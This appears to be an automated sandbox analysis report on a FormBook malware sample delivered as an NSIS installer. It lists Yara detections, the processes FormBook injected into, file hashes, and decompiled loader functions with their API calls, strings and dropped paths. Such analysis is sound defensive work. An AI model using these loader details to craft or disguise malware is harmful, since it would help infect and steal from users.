Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.83833394581.0000000004920000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000009.00000002.83833394581.0000000004920000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	08:14:52
Start date:	04/06/2024
Path:	C:\Windows\SysWOW64\secinit.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\secinit.exe"
Imagebase:	0x340000
File size:	9'728 bytes
MD5 hash:	3B4B8DB765C75B8024A208AE6915223C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.83833661006.0000000002A10000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.83833661006.0000000002A10000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.83831074865.0000000000180000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.83831074865.0000000000180000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.83833772004.0000000002A50000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.83833772004.0000000002A50000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	08:15:05
Start date:	04/06/2024
Path:	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe"
Imagebase:	0xa20000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.83832835974.0000000001450000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.83832835974.0000000001450000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	08:15:17
Start date:	04/06/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff738760000
File size:	687'008 bytes
MD5 hash:	D1CC73370B9EF7D74E6D9FD9248CD687
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	20.7%
Dynamic/Decrypted Code Coverage:	14.3%
Signature Coverage:	19.7%
Total number of Nodes:	1473
Total number of Limit Nodes:	42

Executed Functions

Function 00403217 Relevance: 79.1, APIs: 27, Strings: 18, Instructions: 337
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 00403238
SetErrorMode.KERNELBASE(00008001), ref: 00403243
OleInitialize.OLE32(00000000), ref: 0040324A

Part of subcall function 00406061: GetModuleHandleA.KERNEL32(?,?,?,0040325C,00000009), ref: 00406073
Part of subcall function 00406061: LoadLibraryA.KERNELBASE(?,?,?,0040325C,00000009), ref: 0040607E
Part of subcall function 00406061: GetProcAddress.KERNEL32(00000000,?), ref: 0040608F

SHGetFileInfoA.SHELL32(0041ECB8,00000000,?,00000160,00000000,00000009), ref: 00403272

Part of subcall function 00405D36: lstrcpynA.KERNEL32(?,?,00000400,00403287,00422F00,NSIS Error), ref: 00405D43

GetCommandLineA.KERNEL32(00422F00,NSIS Error), ref: 00403287
GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\Desktop\fJuwM4Bwi7.exe",00000000), ref: 0040329A
CharNextA.USER32(00000000,"C:\Users\user\Desktop\fJuwM4Bwi7.exe",00000020), ref: 004032C5
GetTempPathA.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 004033C2
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004033D3
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004033DF
GetTempPathA.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004033F3
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004033FB
SetEnvironmentVariableA.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 0040340C
SetEnvironmentVariableA.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 00403414
DeleteFileA.KERNELBASE(1033), ref: 00403428
OleUninitialize.OLE32(?), ref: 004034D6
ExitProcess.KERNEL32 ref: 004034F6
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\fJuwM4Bwi7.exe",00000000,?), ref: 00403502
lstrcmpiA.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop), ref: 0040350E
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000), ref: 0040351A
SetCurrentDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\), ref: 00403521
DeleteFileA.KERNEL32(0041E8B8,0041E8B8,?,00424000,?), ref: 0040357A
CopyFileA.KERNEL32(C:\Users\user\Desktop\fJuwM4Bwi7.exe,0041E8B8,00000001), ref: 0040358E
CloseHandle.KERNEL32(00000000,0041E8B8,0041E8B8,?,0041E8B8,00000000), ref: 004035BB
GetCurrentProcess.KERNEL32(00000028,?,00000006,00000005,00000004), ref: 00403614
ExitWindowsEx.USER32(00000002,80040002), ref: 0040366C
ExitProcess.KERNEL32 ref: 0040368F

Strings

`KGw, xrefs: 00403400
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403227
NSIS Error, xrefs: 00403278
", xrefs: 004032EA
SeShutdownPrivilege, xrefs: 00403626
Low, xrefs: 004033F5
~nsu.tmp, xrefs: 004034FC
Error launching installer, xrefs: 0040348E
\Temp, xrefs: 004033D9
TMP, xrefs: 0040340F
"C:\Users\user\Desktop\fJuwM4Bwi7.exe", xrefs: 0040328D, 00403293, 0040344C
1033, xrefs: 00403423
C:\Users\user\Desktop, xrefs: 00403507, 0040350C, 0040352F
C:\Users\user\AppData\Local\Temp\, xrefs: 004033B7, 004033BC, 004033D2, 004033DE, 004033ED, 004033FA, 00403406, 0040340E, 00403501, 0040350D, 00403519, 00403520, 004035CF
C:\Users\user\AppData\Local\Temp\terephthalate\edderdun\Classifies, xrefs: 004034B3
C:\Users\user\Desktop\fJuwM4Bwi7.exe, xrefs: 00403589
TEMP, xrefs: 00403407
C:\Users\user\AppData\Local\Temp\terephthalate\edderdun, xrefs: 004033A7, 004034A8, 00403527, 00403530

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: File$DirectoryExitHandleProcesslstrcat$CurrentDeleteEnvironmentModulePathTempVariableWindows$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextProcUninitializelstrcmpilstrcpyn
String ID: "$"C:\Users\user\Desktop\fJuwM4Bwi7.exe"$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\terephthalate\edderdun$C:\Users\user\AppData\Local\Temp\terephthalate\edderdun\Classifies$C:\Users\user\Desktop$C:\Users\user\Desktop\fJuwM4Bwi7.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$\Temp$`KGw$~nsu.tmp
API String ID: 4107622049-3805561568
Opcode ID: 0e0f6a3637583670758f503623c3da15b8d87b56266dba0afd803753b1801d7b
Instruction ID: 3d26bb40307c87b2cd60c260c775e6d0301d96a10e68b952128d49a18977981a
Opcode Fuzzy Hash: 0e0f6a3637583670758f503623c3da15b8d87b56266dba0afd803753b1801d7b
Instruction Fuzzy Hash: 85B107706082517AE721AF659D8DA2B3EACEB41706F04447FF541BA1E2C77C9E01CB6E

Function 0040515D Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 004051BC
GetDlgItem.USER32(?,000003EE), ref: 004051CB
GetClientRect.USER32(?,?), ref: 00405208
GetSystemMetrics.USER32(00000002), ref: 0040520F
SendMessageA.USER32(?,0000101B,00000000,?), ref: 00405230
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 00405241
SendMessageA.USER32(?,00001001,00000000,?), ref: 00405254
SendMessageA.USER32(?,00001026,00000000,?), ref: 00405262
SendMessageA.USER32(?,00001024,00000000,?), ref: 00405275
ShowWindow.USER32(00000000,?,0000001B,?), ref: 00405297
ShowWindow.USER32(?,00000008), ref: 004052AB
GetDlgItem.USER32(?,000003EC), ref: 004052CC
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 004052DC
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 004052F5
SendMessageA.USER32(00000000,00002001,00000000,?), ref: 00405301
GetDlgItem.USER32(?,000003F8), ref: 004051DA

Part of subcall function 00404021: SendMessageA.USER32(00000028,?,00000001,00403E52), ref: 0040402F

GetDlgItem.USER32(?,000003EC), ref: 0040531D
CreateThread.KERNEL32(00000000,00000000,Function_000050F1,00000000), ref: 0040532B
CloseHandle.KERNELBASE(00000000), ref: 00405332
ShowWindow.USER32(00000000), ref: 00405355
ShowWindow.USER32(?,00000008), ref: 0040535C
ShowWindow.USER32(00000008), ref: 004053A2
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004053D6
CreatePopupMenu.USER32 ref: 004053E7
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 004053FC
GetWindowRect.USER32(?,000000FF), ref: 0040541C
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405435
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405471
OpenClipboard.USER32(00000000), ref: 00405481
EmptyClipboard.USER32 ref: 00405487
GlobalAlloc.KERNEL32(00000042,?), ref: 00405490
GlobalLock.KERNEL32(00000000), ref: 0040549A
SendMessageA.USER32(?,0000102D,00000000,?), ref: 004054AE
GlobalUnlock.KERNEL32(00000000), ref: 004054C7
SetClipboardData.USER32(00000001,00000000), ref: 004054D2
CloseClipboard.USER32 ref: 004054D8

Strings

Angribeligere Setup: Installing, xrefs: 0040544D

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: Angribeligere Setup: Installing
API String ID: 590372296-2219571644
Opcode ID: 3e6425cd8027a1822d7c02b399c2ff8f99ecd6318ec4cf5a11e34b93871bf819
Instruction ID: 24acf85f457993e5d1a00f4a74fbc0a00d7f38a893508f9c9f1f5035b4e63235
Opcode Fuzzy Hash: 3e6425cd8027a1822d7c02b399c2ff8f99ecd6318ec4cf5a11e34b93871bf819
Instruction Fuzzy Hash: 5FA15BB1900208BFDB219FA0DD89AAE7F79FB08355F10407AFA04B61A0C7B55E51DF69

Function 00405D58 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 199
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(?,Skipped: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll,00000000,00405057,Skipped: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll,00000000), ref: 00405E09
GetSystemDirectoryA.KERNEL32(Call,00000400), ref: 00405E84
GetWindowsDirectoryA.KERNEL32(Call,00000400), ref: 00405E97
SHGetSpecialFolderLocation.SHELL32(?,00000000), ref: 00405ED3
SHGetPathFromIDListA.SHELL32(00000000,Call), ref: 00405EE1
CoTaskMemFree.OLE32(00000000), ref: 00405EEC
lstrcatA.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00405F0E
lstrlenA.KERNEL32(Call,?,Skipped: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll,00000000,00405057,Skipped: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll,00000000), ref: 00405F60

Strings

wi, xrefs: 00405D65
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405F08
Skipped: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll, xrefs: 00405D87
Call, xrefs: 00405D7F, 00405E51, 00405E6E, 00405E83, 00405E96, 00405EB2, 00405EDD, 00405F0D, 00405F13, 00405F2B, 00405F3E, 00405F59, 00405F5F, 00405F6A, 00405F94
Software\Microsoft\Windows\CurrentVersion, xrefs: 00405E53

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Skipped: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch$wi
API String ID: 900638850-831090937
Opcode ID: 4acb4603a534f03f61e1b5029561f8864cf9bf083dd2ad4547ff7456c33bf565
Instruction ID: 9c0e267699f90c8e910d98bdf84d4b8f2614ab6024826f89c9d009b20b1e8bc4
Opcode Fuzzy Hash: 4acb4603a534f03f61e1b5029561f8864cf9bf083dd2ad4547ff7456c33bf565
Instruction Fuzzy Hash: 10610571A04905ABDF215F64DC84B7B3BA8DB55304F10813BE641B62D1D33C4A42DF9E

Function 004055F6 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,77462EE0,00000000), ref: 0040561F
lstrcatA.KERNEL32(00420D00,\*.*,00420D00,?,?,C:\Users\user\AppData\Local\Temp\,77462EE0,00000000), ref: 00405667
lstrcatA.KERNEL32(?,00409014,?,00420D00,?,?,C:\Users\user\AppData\Local\Temp\,77462EE0,00000000), ref: 00405688
lstrlenA.KERNEL32(?,?,00409014,?,00420D00,?,?,C:\Users\user\AppData\Local\Temp\,77462EE0,00000000), ref: 0040568E
FindFirstFileA.KERNELBASE(00420D00,?,?,?,00409014,?,00420D00,?,?,C:\Users\user\AppData\Local\Temp\,77462EE0,00000000), ref: 0040569F
FindNextFileA.KERNEL32(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 0040574C
FindClose.KERNEL32(00000000), ref: 0040575D

Strings

"C:\Users\user\Desktop\fJuwM4Bwi7.exe", xrefs: 004055F6
C:\Users\user\AppData\Local\Temp\, xrefs: 00405604
\*.*, xrefs: 00405661

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\fJuwM4Bwi7.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-3313926952
Opcode ID: 25106c92b3c871bc14427ef9fb8c6b07d152e7746fae866eacc9b6d331f36872
Instruction ID: a1a18f6d4a87cf364f513f4d5348cf8987bf6841df45d5f239a42b9e89fe31fb
Opcode Fuzzy Hash: 25106c92b3c871bc14427ef9fb8c6b07d152e7746fae866eacc9b6d331f36872
Instruction Fuzzy Hash: 8051D230905A04FADB216B618C89BBF7AB8DF42714F54803BF445721D2D73C4942EE6E

Function 00406310 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 743aa33a108d29f9cab5e819e308a9554fb8e98817c33194d1e30fb36f92eda3
Instruction ID: 49e2905b870d629617cd54a3ad4ea64d750052a334705c7e6b68d35cedeefd19
Opcode Fuzzy Hash: 743aa33a108d29f9cab5e819e308a9554fb8e98817c33194d1e30fb36f92eda3
Instruction Fuzzy Hash: 28F17970D00229CBCF28CFA8C8946ADBBB1FF45305F25856ED856BB281D3785A96CF45

Function 00402036 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00407384,?,00000001,00407374,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040208B
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,?,00000400,?,00000001,00407374,?,?), ref: 00402143

Strings

C:\Users\user\AppData\Local\Temp\terephthalate\edderdun\Classifies, xrefs: 004020CB

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\AppData\Local\Temp\terephthalate\edderdun\Classifies
API String ID: 123533781-1144022150
Opcode ID: 844d7db231ce930ba87aa91d55221135eb66824421c535283c4cff4e72d9e9e5
Instruction ID: 1053df79af30500630abfeafbcf843dcec04d0d4e3091bc204b5fde3a4f6985c
Opcode Fuzzy Hash: 844d7db231ce930ba87aa91d55221135eb66824421c535283c4cff4e72d9e9e5
Instruction Fuzzy Hash: 3B416D71A00209BFCB40EFA4CE88E9E7BB5BF48354B2042A9F911FB2D1D6799D41DB54

Function 0040603A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE(?,00421548,Invaliditetsprocent209\indoktrineringen.rec,004058F7,Invaliditetsprocent209\indoktrineringen.rec,Invaliditetsprocent209\indoktrineringen.rec,00000000,Invaliditetsprocent209\indoktrineringen.rec,Invaliditetsprocent209\indoktrineringen.rec,?,?,77462EE0,00405616,?,C:\Users\user\AppData\Local\Temp\,77462EE0), ref: 00406045
FindClose.KERNEL32(00000000), ref: 00406051

Strings

Invaliditetsprocent209\indoktrineringen.rec, xrefs: 0040603A

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: Invaliditetsprocent209\indoktrineringen.rec
API String ID: 2295610775-2173611331
Opcode ID: 1aa7e4dc1003f693668b82639e535814eeaefdc3a4332bebb0b1aa5890d42f5a
Instruction ID: ffb9975cce6792308ede9dbdbab0a2e32819aea082b360212a672f9e7c6ece7a
Opcode Fuzzy Hash: 1aa7e4dc1003f693668b82639e535814eeaefdc3a4332bebb0b1aa5890d42f5a
Instruction Fuzzy Hash: 7BD012319490306BC3106B787C0C85B7A599F573317118A33B56AF12F0C7389C7286ED

Function 00406061 Relevance: 4.5, APIs: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,?,0040325C,00000009), ref: 00406073
LoadLibraryA.KERNELBASE(?,?,?,0040325C,00000009), ref: 0040607E
GetProcAddress.KERNEL32(00000000,?), ref: 0040608F

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: 14778026069da28af87b9950d589da7dca929d2a00fc8d83b3a738ce3464f0c4
Instruction ID: 2c1b19e4de550b622e70843c6ca25527790cfa0381149662c4593fbace01eca7
Opcode Fuzzy Hash: 14778026069da28af87b9950d589da7dca929d2a00fc8d83b3a738ce3464f0c4
Instruction Fuzzy Hash: 00E0C232A04211ABC321AB749D48D3B73ACAFD8751309493EF50AF6150D734AC21EBBA

Function 00403B19 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403B55
ShowWindow.USER32(?), ref: 00403B72
DestroyWindow.USER32 ref: 00403B86
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403BA2
GetDlgItem.USER32(?,?), ref: 00403BC3
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403BD7
IsWindowEnabled.USER32(00000000), ref: 00403BDE
GetDlgItem.USER32(?,00000001), ref: 00403C8C
GetDlgItem.USER32(?,00000002), ref: 00403C96
SetClassLongA.USER32(?,000000F2,?), ref: 00403CB0
SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403D01
GetDlgItem.USER32(?,00000003), ref: 00403DA7
ShowWindow.USER32(00000000,?), ref: 00403DC8
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403DDA
EnableWindow.USER32(?,?), ref: 00403DF5
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403E0B
EnableMenuItem.USER32(00000000), ref: 00403E12
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403E2A
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403E3D
lstrlenA.KERNEL32(Angribeligere Setup: Installing,?,Angribeligere Setup: Installing,00422F00), ref: 00403E66
SetWindowTextA.USER32(?,Angribeligere Setup: Installing), ref: 00403E75
ShowWindow.USER32(?,0000000A), ref: 00403FA9

Strings

Angribeligere Setup: Installing, xrefs: 00403E52, 00403E5C, 00403E65, 00403E73

